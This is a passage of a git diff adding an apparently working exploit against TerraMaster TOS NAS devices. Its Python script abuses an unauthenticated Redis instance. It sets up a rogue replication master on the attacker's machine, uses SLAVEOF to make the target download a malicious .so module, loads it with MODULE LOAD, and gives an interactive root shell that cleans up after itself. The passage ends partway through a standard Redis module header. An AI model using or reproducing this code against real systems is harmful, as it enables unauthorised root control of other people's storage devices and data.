if self.tty:
|
||||||
|
self._draw()
|
||||||
|
|
||||||
|
def _draw(self):
|
||||||
|
filled = int(self.width * self.step / self.total)
|
||||||
|
bar = "\033[36m" + "━" * filled + "\033[90m" + "╌" * (self.width - filled) + "\033[0m"
|
||||||
|
pct = self.step * 100 // self.total
|
||||||
|
sys.stderr.write(f"\033[2K\r {bar} {pct:3d}% {self.msg}")
|
||||||
|
sys.stderr.flush()
|
||||||
|
|
||||||
|
def clear(self):
|
||||||
|
if self.tty:
|
||||||
|
sys.stderr.write("\033[2K\r")
|
||||||
|
sys.stderr.flush()
|
||||||
|
|
||||||
|
def finish(self):
|
||||||
|
self.step = self.total
|
||||||
|
if self.tty:
|
||||||
|
filled = self.width
|
||||||
|
bar = "\033[32m" + "━" * filled + "\033[0m"
|
||||||
|
sys.stderr.write(f"\033[2K\r {bar} 100% done\n")
|
||||||
|
sys.stderr.flush()
|
||||||
|
|
||||||
|
|
||||||
|
_progress = None
|
||||||
|
|
||||||
|
|
||||||
|
def _log(prefix, msg):
|
||||||
|
if _progress:
|
||||||
|
_progress.clear()
|
||||||
|
sys.stderr.write(f"{prefix} {msg}\n")
|
||||||
|
sys.stderr.flush()
|
||||||
|
if _progress and _progress.step < _progress.total:
|
||||||
|
_progress._draw()
|
||||||
|
|
||||||
|
|
||||||
|
def bail(msg):
|
||||||
|
if _progress:
|
||||||
|
_progress.clear()
|
||||||
|
sys.stderr.write(f"\n\033[31m[FATAL]\033[0m {msg}\n")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
def info(msg):
|
||||||
|
_log("\033[90m[*]\033[0m", msg)
|
||||||
|
|
||||||
|
|
||||||
|
def good(msg):
|
||||||
|
_log("\033[32m[+]\033[0m", msg)
|
||||||
|
|
||||||
|
|
||||||
|
def warn(msg):
|
||||||
|
_log("\033[33m[!]\033[0m", msg)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Redis helpers
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def redis_connect(host, port=REDIS_PORT, timeout=5):
|
||||||
|
return socket.create_connection((host, port), timeout=timeout)
|
||||||
|
|
||||||
|
|
||||||
|
def redis_cmd(sock, *args):
|
||||||
|
parts = [f"*{len(args)}\r\n"]
|
||||||
|
for a in args:
|
||||||
|
s = str(a)
|
||||||
|
parts.append(f"${len(s)}\r\n{s}\r\n")
|
||||||
|
sock.sendall("".join(parts).encode())
|
||||||
|
time.sleep(0.3)
|
||||||
|
data = b""
|
||||||
|
sock.settimeout(2)
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
chunk = sock.recv(65536)
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
data += chunk
|
||||||
|
except socket.timeout:
|
||||||
|
break
|
||||||
|
return data.decode(errors="replace")
|
||||||
|
|
||||||
|
|
||||||
|
def redis_config_get(sock, key):
|
||||||
|
resp = redis_cmd(sock, "CONFIG", "GET", key)
|
||||||
|
lines = resp.split("\r\n")
|
||||||
|
if len(lines) >= 5:
|
||||||
|
return lines[4]
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Rogue Redis master (replication payload delivery)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def get_local_ip(target_host, target_port=REDIS_PORT):
|
||||||
|
s = socket.create_connection((target_host, target_port), timeout=5)
|
||||||
|
ip = s.getsockname()[0]
|
||||||
|
s.close()
|
||||||
|
return ip
|
||||||
|
|
||||||
|
|
||||||
|
def random_drop_name():
|
||||||
|
tag = ''.join(random.choices(string.ascii_lowercase, k=8))
|
||||||
|
return f".{tag}.so"
|
||||||
|
|
||||||
|
|
||||||
|
def handle_repl_handshake(conn, payload):
|
||||||
|
"""Speak just enough RESP to complete a FULLRESYNC and deliver payload."""
|
||||||
|
conn.settimeout(10)
|
||||||
|
while True:
|
||||||
|
data = conn.recv(4096)
|
||||||
|
if not data:
|
||||||
|
raise ConnectionError("slave disconnected during handshake")
|
||||||
|
text = data.decode(errors="replace").strip()
|
||||||
|
if "PSYNC" in text or "SYNC" in text:
|
||||||
|
info(f" <- {text.splitlines()[0][:60]}")
|
||||||
|
info(f" -> FULLRESYNC ({len(payload)} bytes)")
|
||||||
|
conn.sendall(f"+FULLRESYNC {'Z' * 40} 1\r\n".encode())
|
||||||
|
conn.sendall(f"${len(payload)}\r\n".encode())
|
||||||
|
conn.sendall(payload)
|
||||||
|
conn.sendall(b"\r\n")
|
||||||
|
time.sleep(2)
|
||||||
|
return
|
||||||
|
elif "PING" in text:
|
||||||
|
info(" <- PING")
|
||||||
|
info(" -> PONG")
|
||||||
|
conn.sendall(b"+PONG\r\n")
|
||||||
|
else:
|
||||||
|
first_line = text.splitlines()[0] if text else "(empty)"
|
||||||
|
info(f" <- {first_line[:60]}")
|
||||||
|
info(" -> OK")
|
||||||
|
conn.sendall(b"+OK\r\n")
|
||||||
|
|
||||||
|
|
||||||
|
def deliver_module(host, payload_bytes, lhost=None):
|
||||||
|
"""Deliver .so binary to target filesystem via Redis replication."""
|
||||||
|
_progress.update(1, "Connecting to Redis")
|
||||||
|
info(f"Connecting to {host}:{REDIS_PORT}")
|
||||||
|
sock = redis_connect(host)
|
||||||
|
drop_name = random_drop_name()
|
||||||
|
drop_path = f"{MODULE_DROP_DIR}/{drop_name}"
|
||||||
|
|
||||||
|
if lhost is None:
|
||||||
|
lhost = get_local_ip(host)
|
||||||
|
|
||||||
|
_progress.update(2, "Configuring drop location")
|
||||||
|
orig_dir = redis_config_get(sock, "dir")
|
||||||
|
orig_dbfilename = redis_config_get(sock, "dbfilename")
|
||||||
|
info(f"Saved config: dir={orig_dir} dbfilename={orig_dbfilename}")
|
||||||
|
|
||||||
|
resp = redis_cmd(sock, "CONFIG", "SET", "dir", MODULE_DROP_DIR)
|
||||||
|
if "+OK" not in resp:
|
||||||
|
bail(f"CONFIG SET dir failed: {resp.strip()}")
|
||||||
|
resp = redis_cmd(sock, "CONFIG", "SET", "dbfilename", drop_name)
|
||||||
|
if "+OK" not in resp:
|
||||||
|
bail(f"CONFIG SET dbfilename failed: {resp.strip()}")
|
||||||
|
info(f"Configured drop: dir={MODULE_DROP_DIR} dbfilename={drop_name}")
|
||||||
|
|
||||||
|
_progress.update(3, "Starting rogue master")
|
||||||
|
listen_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
listen_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
listen_sock.bind(("0.0.0.0", 0))
|
||||||
|
listen_sock.listen(1)
|
||||||
|
lport = listen_sock.getsockname()[1]
|
||||||
|
listen_sock.settimeout(15)
|
||||||
|
info(f"Listening on {lhost}:{lport}")
|
||||||
|
|
||||||
|
_progress.update(4, "Waiting for slave to connect")
|
||||||
|
info(f"SLAVEOF {lhost} {lport}")
|
||||||
|
redis_cmd(sock, "SLAVEOF", lhost, str(lport))
|
||||||
|
|
||||||
|
conn, addr = listen_sock.accept()
|
||||||
|
info(f"Slave connected from {addr[0]}:{addr[1]}")
|
||||||
|
|
||||||
|
_progress.update(5, "Replication handshake")
|
||||||
|
handle_repl_handshake(conn, payload_bytes)
|
||||||
|
conn.close()
|
||||||
|
listen_sock.close()
|
||||||
|
good(f"Payload written to {drop_path}")
|
||||||
|
|
||||||
|
_progress.update(6, "Restoring config")
|
||||||
|
info("SLAVEOF NO ONE")
|
||||||
|
redis_cmd(sock, "SLAVEOF", "NO", "ONE")
|
||||||
|
|
||||||
|
if orig_dir:
|
||||||
|
redis_cmd(sock, "CONFIG", "SET", "dir", orig_dir)
|
||||||
|
if orig_dbfilename:
|
||||||
|
redis_cmd(sock, "CONFIG", "SET", "dbfilename", orig_dbfilename)
|
||||||
|
info(f"Restored config: dir={orig_dir} dbfilename={orig_dbfilename}")
|
||||||
|
|
||||||
|
sock.close()
|
||||||
|
return drop_path
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Redis RCE via MODULE LOAD
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def redis_load_module(host, module_path):
|
||||||
|
"""Connect, verify no auth, load module. Returns the live socket."""
|
||||||
|
_progress.update(7, "Loading module")
|
||||||
|
info(f"Connecting to {host}:{REDIS_PORT}")
|
||||||
|
try:
|
||||||
|
sock = redis_connect(host)
|
||||||
|
except (OSError, socket.timeout) as e:
|
||||||
|
bail(f"Cannot connect to Redis: {e}")
|
||||||
|
|
||||||
|
resp = redis_cmd(sock, "PING")
|
||||||
|
if "+PONG" not in resp:
|
||||||
|
bail(f"Redis requires auth or rejected PING: {resp.strip()[:200]}")
|
||||||
|
good("PONG — no authentication")
|
||||||
|
|
||||||
|
resp = redis_cmd(sock, "INFO", "server")
|
||||||
|
for key in ("redis_version", "os", "process_id", "tcp_port"):
|
||||||
|
for line in resp.splitlines():
|
||||||
|
if line.startswith(f"{key}:"):
|
||||||
|
info(f" {line.strip()}")
|
||||||
|
|
||||||
|
info(f"MODULE LOAD {module_path}")
|
||||||
|
resp = redis_cmd(sock, "MODULE", "LOAD", module_path)
|
||||||
|
if "ERR" in resp and "already loaded" not in resp.lower():
|
||||||
|
bail(f"MODULE LOAD failed: {resp.strip()}")
|
||||||
|
good("system.exec available")
|
||||||
|
|
||||||
|
_progress.finish()
|
||||||
|
return sock
|
||||||
|
|
||||||
|
|
||||||
|
def redis_exec(sock, cmd):
|
||||||
|
"""Execute a command via system.exec and return output."""
|
||||||
|
resp = redis_cmd(sock, "system.exec", cmd)
|
||||||
|
output = resp.strip()
|
||||||
|
if output.startswith("+"):
|
||||||
|
output = output[1:]
|
||||||
|
return output
|
||||||
|
|
||||||
|
|
||||||
|
def redis_cleanup(sock, module_path):
|
||||||
|
"""Remove .so from disk and unload module."""
|
||||||
|
try:
|
||||||
|
redis_exec(sock, f"rm -f {module_path}")
|
||||||
|
except (BrokenPipeError, OSError):
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
redis_cmd(sock, "MODULE", "UNLOAD", "system")
|
||||||
|
except (BrokenPipeError, OSError):
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
sock.close()
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Interactive shell
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def shell(sock, host):
|
||||||
|
"""Interactive root shell over Redis system.exec."""
|
||||||
|
warn(f"root shell on {host} via Redis — type 'exit' or Ctrl-D to quit")
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
cmd = input(f"\x1b[1;31mroot@{host}\x1b[0m# ")
|
||||||
|
except (EOFError, KeyboardInterrupt):
|
||||||
|
print()
|
||||||
|
break
|
||||||
|
cmd = cmd.strip()
|
||||||
|
if not cmd:
|
||||||
|
continue
|
||||||
|
if cmd in ("exit", "quit"):
|
||||||
|
break
|
||||||
|
output = redis_exec(sock, cmd)
|
||||||
|
if output:
|
||||||
|
print(output)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Main
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global _progress
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="TerraMaster TOS Redis -> unauthenticated root RCE"
|
||||||
|
)
|
||||||
|
parser.add_argument("host", help="NAS IP address")
|
||||||
|
parser.add_argument("--cmd", default=None,
|
||||||
|
help="Single command (default: interactive shell)")
|
||||||
|
parser.add_argument("--lhost", default=None,
|
||||||
|
help="Attacker IP reachable from target (default: auto)")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
_progress = Progress(total=8)
|
||||||
|
|
||||||
|
module_so = os.path.join(SCRIPT_DIR, "module.so")
|
||||||
|
if not os.path.isfile(module_so):
|
||||||
|
bail(f"{module_so} not found. Run 'make' to build it.")
|
||||||
|
payload = open(module_so, "rb").read()
|
||||||
|
info(f"Loaded {module_so} ({len(payload)} bytes)")
|
||||||
|
module_on_target = deliver_module(args.host, payload, lhost=args.lhost)
|
||||||
|
sock = redis_load_module(args.host, module_on_target)
|
||||||
|
|
||||||
|
if args.cmd:
|
||||||
|
output = redis_exec(sock, args.cmd)
|
||||||
|
if output:
|
||||||
|
print(output)
|
||||||
|
else:
|
||||||
|
warn("No output.")
|
||||||
|
else:
|
||||||
|
shell(sock, args.host)
|
||||||
|
|
||||||
|
info("Cleaning up")
|
||||||
|
redis_cleanup(sock, module_on_target)
|
||||||
|
good("Done")
|
||||||
|
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
405
terramaster/rce/redismodule.h
Normal file
405
terramaster/rce/redismodule.h
Normal file
|
|
@ -0,0 +1,405 @@
|
||||||
|
#ifndef REDISMODULE_H
|
||||||
|
#define REDISMODULE_H
|
||||||
|
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
/* ---------------- Defines common between core and modules --------------- */
|
||||||
|
|
||||||
|
/* Error status return values. */
|
||||||
|
#define REDISMODULE_OK 0
|
||||||
|
#define REDISMODULE_ERR 1
|
||||||
|
|
||||||
|
/* API versions. */
|
||||||
|
#define REDISMODULE_APIVER_1 1
|
||||||
|
|
||||||
|
/* API flags and constants */
|
||||||
|
#define REDISMODULE_READ (1<<0)
|
||||||
|
#define REDISMODULE_WRITE (1<<1)
|
||||||
|
|
||||||
|
#define REDISMODULE_LIST_HEAD 0
|
||||||
|
#define REDISMODULE_LIST_TAIL 1
|
||||||
|
|
||||||
|
/* Key types. */
|
||||||
|
#define REDISMODULE_KEYTYPE_EMPTY 0
|
||||||
|
#define REDISMODULE_KEYTYPE_STRING 1
|
||||||
|
#define REDISMODULE_KEYTYPE_LIST 2
|
||||||
|
#define REDISMODULE_KEYTYPE_HASH 3
|
||||||
|
#define REDISMODULE_KEYTYPE_SET 4
|
||||||
|
#define REDISMODULE_KEYTYPE_ZSET 5
|
||||||
|
#define REDISMODULE_KEYTYPE_MODULE 6
|
||||||
|
|
||||||
|
/* Reply types. */
|
||||||
|
#define REDISMODULE_REPLY_UNKNOWN -1
|
||||||
|
#define REDISMODULE_REPLY_STRING 0
|
||||||
|
#define REDISMODULE_REPLY_ERROR 1
|
||||||
|
#define REDISMODULE_REPLY_INTEGER 2
|
||||||
|
#define REDISMODULE_REPLY_ARRAY 3
|
||||||
|
#define REDISMODULE_REPLY_NULL 4
|
||||||
|
|
||||||
|
/* Postponed array length. */
|
||||||
|
#define REDISMODULE_POSTPONED_ARRAY_LEN -1
|
||||||
|
|
||||||
|
/* Expire */
|
||||||
|
#define REDISMODULE_NO_EXPIRE -1
|
||||||
|
|
||||||
|
/* Sorted set API flags. */
|
||||||
|
#define REDISMODULE_ZADD_XX (1<<0)
|
||||||
|
#define REDISMODULE_ZADD_NX (1<<1)
|
||||||
|
#define REDISMODULE_ZADD_ADDED (1<<2)
|
||||||
|
#define REDISMODULE_ZADD_UPDATED (1<<3)
|
||||||
|
#define REDISMODULE_ZADD_NOP (1<<4)
|
||||||
|
|
||||||
|
/* Hash API flags. */
|
||||||
|
#define REDISMODULE_HASH_NONE 0
|
||||||
|
#define REDISMODULE_HASH_NX (1<<0)
|
||||||
|
#define REDISMODULE_HASH_XX (1<<1)
|
||||||
|
#define REDISMODULE_HASH_CFIELDS (1<<2)
|
||||||
|
#define REDISMODULE_HASH_EXISTS (1<<3)
|
||||||
|
|
||||||
|
/* Context Flags: Info about the current context returned by RM_GetContextFlags */
|
||||||
|
|
||||||
|
/* The command is running in the context of a Lua script */
|
||||||
|
#define REDISMODULE_CTX_FLAGS_LUA 0x0001
|
||||||
|
/* The command is running inside a Redis transaction */
|
||||||
|
#define REDISMODULE_CTX_FLAGS_MULTI 0x0002
|
||||||
|
/* The instance is a master */
|
||||||
|
#define REDISMODULE_CTX_FLAGS_MASTER 0x0004
|
||||||
|
/* The instance is a slave */
|
||||||
|
#define REDISMODULE_CTX_FLAGS_SLAVE 0x0008
|
||||||
|
/* The instance is read-only (usually meaning it's a slave as well) */
|
||||||
|
#define REDISMODULE_CTX_FLAGS_READONLY 0x0010
|
||||||
|
/* The instance is running in cluster mode */
|
||||||
|
#define REDISMODULE_CTX_FLAGS_CLUSTER 0x0020
|
||||||
|
/* The instance has AOF enabled */
|
||||||
|
#define REDISMODULE_CTX_FLAGS_AOF 0x0040 //
|
||||||
|
/* The instance has RDB enabled */
|
||||||
|
#define REDISMODULE_CTX_FLAGS_RDB 0x0080 //
|
||||||
|
/* The instance has Maxmemory set */
|
||||||
|
#define REDISMODULE_CTX_FLAGS_MAXMEMORY 0x0100
|
||||||
|
/* Maxmemory is set and has an eviction policy that may delete keys */
|
||||||
|
#define REDISMODULE_CTX_FLAGS_EVICT 0x0200
|
||||||
|
|
||||||
|
|
||||||
|
#define REDISMODULE_NOTIFY_GENERIC (1<<2) /* g */
|
||||||
|
#define REDISMODULE_NOTIFY_STRING (1<<3) /* $ */
|
||||||
|
#define REDISMODULE_NOTIFY_LIST (1<<4) /* l */
|
||||||
|
#define REDISMODULE_NOTIFY_SET (1<<5) /* s */
|
||||||
|
#define REDISMODULE_NOTIFY_HASH (1<<6) /* h */
|
||||||
|
#define REDISMODULE_NOTIFY_ZSET (1<<7) /* z */
|
||||||
|
#define REDISMODULE_NOTIFY_EXPIRED (1<<8) /* x */
|
||||||
|
#define REDISMODULE_NOTIFY_EVICTED (1<<9) /* e */
|
||||||
|
#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED) /* A */
|
||||||
|
|
||||||
|
|
||||||
|
/* A special pointer that we can use between the core and the module to signal
|
||||||
|
* field deletion, and that is impossible to be a valid pointer. */
|
||||||
|
#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1)
|
||||||
|
|
||||||
|
/* Error messages. */
|
||||||
|
#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value"
|
||||||
|
|
||||||
|
#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0)
|
||||||
|
#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0)
|
||||||
|
|
||||||
|
#define REDISMODULE_NOT_USED(V) ((void) V)
|
||||||
|
|
||||||
|
/* ------------------------- End of common defines ------------------------ */
|
||||||
|
|
||||||
|
#ifndef REDISMODULE_CORE
|
||||||
|
|
||||||
|
typedef long long mstime_t;
|
||||||
|
|
||||||
|
/* Incomplete structures for compiler checks but opaque access. */
|
||||||
|
typedef struct RedisModuleCtx RedisModuleCtx;
|
||||||
|
typedef struct RedisModuleKey RedisModuleKey;
|
||||||
|
typedef struct RedisModuleString RedisModuleString;
|
||||||
|
typedef struct RedisModuleCallReply RedisModuleCallReply;
|
||||||
|
typedef struct RedisModuleIO RedisModuleIO;
|
||||||
|
typedef struct RedisModuleType RedisModuleType;
|
||||||
|
typedef struct RedisModuleDigest RedisModuleDigest;
|
||||||
|
typedef struct RedisModuleBlockedClient RedisModuleBlockedClient;
|
||||||
|
|
||||||
|
typedef int (*RedisModuleCmdFunc) (RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
|
||||||
|
|
||||||
|
typedef int (*RedisModuleNotificationFunc) (RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key);
|
||||||
|
typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver);
|
||||||
|
typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value);
|
||||||
|
typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value);
|
||||||
|
typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value);
|
||||||
|
typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value);
|
||||||
|
typedef void (*RedisModuleTypeFreeFunc)(void *value);
|
||||||
|
|
||||||
|
#define REDISMODULE_TYPE_METHOD_VERSION 1
|
||||||
|
typedef struct RedisModuleTypeMethods {
|
||||||
|
uint64_t version;
|
||||||
|
RedisModuleTypeLoadFunc rdb_load;
|
||||||
|
RedisModuleTypeSaveFunc rdb_save;
|
||||||
|
RedisModuleTypeRewriteFunc aof_rewrite;
|
||||||
|
RedisModuleTypeMemUsageFunc mem_usage;
|
||||||
|
RedisModuleTypeDigestFunc digest;
|
||||||
|
RedisModuleTypeFreeFunc free;
|
||||||
|
} RedisModuleTypeMethods;
|
||||||
|
|
||||||
|
#define REDISMODULE_GET_API(name) \
|
||||||
|
RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name))
|
||||||
|
|
||||||
|
#define REDISMODULE_API_FUNC(x) (*x)
|
||||||
|
|
||||||
|
|
||||||
|
void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes);
|
||||||
|
void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr);
|
||||||
|
void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size);
|
||||||
|
char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid);
|
||||||
|
void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp);
|
||||||
|
size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele);
|
||||||
|
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where);
|
||||||
|
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
|
||||||
|
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply);
|
||||||
|
long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply);
|
||||||
|
size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply);
|
||||||
|
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx);
|
||||||
|
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len);
|
||||||
|
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll);
|
||||||
|
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str);
|
||||||
|
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str);
|
||||||
|
const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx);
|
||||||
|
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len);
|
||||||
|
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str);
|
||||||
|
char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen);
|
||||||
|
mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
|
||||||
|
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...);
|
||||||
|
